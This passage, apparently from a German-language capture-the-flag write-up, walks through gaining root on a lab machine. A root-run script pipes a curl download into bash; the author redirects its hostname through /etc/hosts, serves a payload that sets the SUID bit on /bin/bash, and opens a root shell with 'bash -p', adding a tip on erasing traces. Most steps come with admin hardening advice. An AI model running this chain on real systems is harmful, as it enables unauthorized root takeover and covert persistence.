**Empfehlung (Admin):** Erlaube Skripten, die als Root ausgeführt werden, *niemals*, Inhalte von externen, unkontrollierten Quellen herunterzuladen und auszuführen. Hardcode-URLs in Root-Skripten sind gefährlich, besonders wenn der Angreifer die Namensauflösung (`server.hmv`) manipulieren kann. Signiere Skripte oder prüfe Hashes, wenn externe Inhalte benötigt werden. Implementiere eine strikte Egress-Filterung, um zu verhindern, dass Server Verbindungen zu unbekannten externen Hosts aufbauen.

juan@influencer:~$ cat /home/juan/check.sh
#!/bin/bash


/usr/bin/curl http://server.hmv/98127651 | /bin/bash <-- Kritisches Skript!
juan@influencer:~$ ls -la /home/juan/check.sh
-r-xr--r-- 1 root juan 68 jun  8  2023 /home/juan/check.sh

**Analyse:** Der `check.sh`-Skript lädt von `server.hmv`. Um diesen Hostnamen auf meine Angreifer-Maschine umzuleiten, editiere ich die `/etc/hosts`-Datei auf dem Zielsystem (als Benutzer `juan`) und füge die Zeile `192.168.2.199 server.hmv` hinzu. Dies stellt sicher, dass bei einem Aufruf von `server.hmv` die Verbindung zu meiner IP (192.168.2.199) und nicht zu einem eventuell echten `server.hmv` im Internet geht.

**Bewertung:** Das Manipulieren der `/etc/hosts`-Datei ist eine klassische Technik in der Privilege Escalation, um die Namensauflösung zu kontrollieren und interne Dienste oder Skripte auf den Angreifer umzuleiten. Da Benutzer `juan` Schreibrechte auf `/etc/hosts` hat (was nicht explizit im Text gezeigt, aber durch die erfolgreiche Umleitung impliziert wird oder durch andere PE-Vektoren erlangt wurde), kann diese Umleitung durchgeführt werden. Dies ist ein notwendiger Schritt, um die Ausführung meines eigenen Codes als Root zu ermöglichen.

**Empfehlung (Pentester):** Prüfe, ob du als aktueller Benutzer `/etc/hosts` oder DNS-Einstellungen manipulieren kannst, um die Namensauflösung für die Ausnutzung von Skripten oder Diensten zu kontrollieren.
**Empfehlung (Admin):** Beschränke die Schreibrechte auf `/etc/hosts` streng auf den Root-Benutzer. Implementiere Egress-Filterung und verwende interne DNS-Server, um zu verhindern, dass Systeme externe oder manipulierte Namensauflösung für interne Vorgänge nutzen.

juan@influencer:~$ echo "192.168.2.199 server.hmv" >> /etc/hosts
juan@influencer:~$

**Analyse:** Jetzt präpariere ich den Code, der als Root ausgeführt werden soll. Ich erstelle auf meinem Angreifer-System eine Datei namens `98127651` (passend zur URL im `check.sh` Skript) mit dem Inhalt `chmod +s /bin/bash`. Dieser Befehl wird, wenn er als Root ausgeführt wird, das SetUID-Bit auf der `/bin/bash`-Binärdatei setzen. Das SetUID-Bit erlaubt es einem unprivilegierten Benutzer, das Programm mit den Berechtigungen des Dateibesitzers (in diesem Fall root für `/bin/bash`) auszuführen. Anschließend starte ich einen einfachen Python HTTP Server auf Port 80, um diese Datei (`98127651`) für den `check.sh`-Skript zum Download bereitzustellen.

**Bewertung:** Das Setzen des SUID-Bits auf `/bin/bash` ist eine klassische und sehr effektive Methode zur Erlangung einer persistenten Root-Shell. Jeder Benutzer auf dem System kann dann `bash -p` ausführen und erhält eine Root-Shell. Die Verwendung eines einfachen HTTP-Servers ist ideal, um kleine Payloads schnell bereitzustellen. Dies ist die vorbereitende Phase für den finalen Root-Exploit.

**Empfehlung (Pentester):** Bereite deine Payloads sorgfältig vor, passend zum Ausführungsmechanismus (hier Bash-Code, der an `/bin/bash` gepipet wird). Nutze SUID-Binärdateien als persistenten PE-Vektor, wenn möglich.
**Empfehlung (Admin):** Überwache Systemdateien (insbesondere `/bin/bash`, `/bin/sh` etc.) auf Änderungen der Berechtigungen (SUID/SGID-Bits). Implementiere Intrusion Detection Systeme, die auf solche Änderungen oder das Ausführen von Code aus ungewöhnlichen Quellen (wie `curl | bash`) reagieren.

┌──(root㉿CCat)-[~] └─# echo "chmod +s /bin/bash" > 98127651
┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ([Link: http://0.0.0.0:80/ | Ziel: http://0.0.0.0:80/]) ...

**Analyse:** Ich versuche das `check.sh`-Skript erneut als Root auszuführen: `sudo /bin/bash /home/juan/check.sh`. Dieses Mal, nachdem die `/etc/hosts` Umleitung auf meinem Angreifer-System zeigt, sollte das Skript die Datei `98127651` von meinem HTTP-Server herunterladen und den Inhalt (`chmod +s /bin/bash`) als Root ausführen. Der `curl`-Output innerhalb des Skripts zeigt, dass die Datei heruntergeladen wurde.

**Bewertung:** Die Ausführung des Skripts nach Korrektur der `/etc/hosts` Datei auf dem Zielsystem sollte erfolgreich zur Ausführung meines `chmod +s /bin/bash`-Befehls als Root führen. Dies ist der Moment, in dem das SetUID-Bit auf `/bin/bash` gesetzt wird, was den finalen Root-Zugriff ermöglicht.

**Empfehlung (Pentester):** Wenn ein Exploit aufgrund von Namensauflösung oder Netzwerkproblemen fehlschlägt, überprüfe die Konfigurationen auf dem Zielsystem (wie `/etc/hosts`) und die Netzwerkpfade. Behebe das Problem und versuche den Exploit erneut.
**Empfehlung (Admin):** Überwache die Ausführung von Skripten, die `curl` oder `wget` verwenden, insbesondere wenn sie von privilegierten Benutzern ausgeführt werden. Implementiere AppArmor oder SELinux, um die Aktionen von Skripten und Binärdateien einzuschränken.

**Analyse:** Nach der Ausführung des Skripts, das `chmod +s /bin/bash` als Root ausgeführt hat, überprüfe ich die Berechtigungen der `/bin/bash`-Binärdatei erneut mit `ls -la /bin/bash`. Ich erwarte, dass die SetUID- und SetGID-Bits gesetzt sind.

**Bewertung:** Fantastisch! Die Ausgabe zeigt `-rwsr-sr-x`. Das **s** anstelle des **x** bei den Berechtigungen für den Dateibesitzer (root) und die Gruppe (root) bestätigt, dass das SetUID- und das SetGID-Bit erfolgreich gesetzt wurden. Das bedeutet, dass jeder Benutzer, der `/bin/bash` ausführt, dies nun effektiv mit den Rechten von `root` tun wird. Dies ist der erfolgreiche Beweis für die Root Privilege Escalation.

**Empfehlung (Pentester):** Überprüfe nach der Ausführung eines SUID-Setter-Payloads immer die Dateiberechtigungen, um den Erfolg zu bestätigen, bevor du versuchst, die SUID-Binärdatei auszuführen.
**Empfehlung (Admin):** **Dringend:** Suche sofort nach Dateien mit gesetztem SUID/SGID-Bit auf deinem System (`find / -perm /4000 2>/dev/null`). Entferne das SUID-Bit von Binärdateien, die nicht zwingend mit erhöhten Rechten laufen müssen (`chmod u-s /bin/bash`). Das Setzen des SUID-Bits auf Shells wie Bash ist extrem gefährlich und sollte niemals erfolgen.

juan@influencer:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 ene  6  2022 /bin/bash <-- SUID-Bit gesetzt!

**Analyse:** Da das SUID-Bit auf `/bin/bash` gesetzt ist, kann ich nun einfach `/bin/bash` mit der Option `-p` (um die erhöhten Berechtigungen beizubehalten) ausführen, um eine Root-Shell zu erhalten.

**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Der Prompt wechselt zu `bash-5.1#`, was anzeigt, dass ich jetzt eine interaktive Shell mit Root-Berechtigungen habe. Mein Ziel, volle Kontrolle über das System zu erlangen, ist erreicht.

**Empfehlung (Pentester):** Nach Erlangung der Root-Shell die erste Aktion sollte das Auffinden und Exfiltrieren der Root-Flag sein. Bereinige, wenn nötig, deine Spuren (z.B. entfernte `authorized_keys` Einträge, temporäre Dateien, `/etc/hosts` Änderungen), falls Stealth erforderlich ist.
**Empfehlung (Admin):** Die Kompromittierung ist vollständig. Führe sofort eine forensische Analyse durch, um den Angriffsvektor zu identifizieren (hier: unsicheres `sudo`-Skript und manipulierte `/etc/hosts`). Setze das System neu auf einem sauberen Image auf und implementiere alle in diesem Bericht genannten Empfehlungen zur Behebung der Schwachstellen und zur Verhinderung zukünftiger Angriffe.

juan@influencer:~$ bash -p
bash-5.1# <-- Root Shell!

**Analyse:** In der Root-Shell angekommen, navigiere ich zum `/root`-Verzeichnis, da dort typischerweise die Root-Flag (`root.txt`) gespeichert ist. Ich liste den Inhalt des Verzeichnisses auf und verwende dann `cat` um den Inhalt der Root-Flag-Datei (`rr00t.txt`) anzuzeigen. Ebenso zeige ich den Inhalt der User-Flag-Datei (`user.txt`) an, die sich im Home-Verzeichnis von `juan` befindet.

**Bewertung:** Die User-Flag (`goodjobbro`) und die Root-Flag (`19283712487912` und "hey") wurden erfolgreich gefunden und extrahiert. Dies bestätigt den Abschluss des Pentests und die volle Kompromittierung des Systems, einschließlich des Erlangens der höchsten Berechtigungsstufe (Root).

**Empfehlung (Pentester):** Das Auffinden der Root-Flag ist das finale Ziel vieler CTFs und Pentests. Dokumentiere die Flag-Werte präzise.
**Empfehlung (Admin):** Speichere sensitive Dateien (wie Flags in CTFs oder Produktionsdaten) nicht in leicht zugänglichen Verzeichnissen wie `/root` oder Benutzer-Home-Verzeichnissen mit Standardnamen. Implementiere strenge Zugriffskontrollen für alle Dateien und Verzeichnisse.

juan@influencer:~$ ls
check.sh  user.txt
juan@influencer:~$ cat user.txt
goodjobbro
bash-5.1# ls
rr00t.txt  snap
bash-5.1# cd /root/
bash-5.1# ls
rr00t.txt  snap
bash-5.1# cat rr00t.txt
19283712487912
"hey

Flags

cat /home/juan/user.txt
goodjobbro
cat /root/rr00t.txt
19283712487912"hey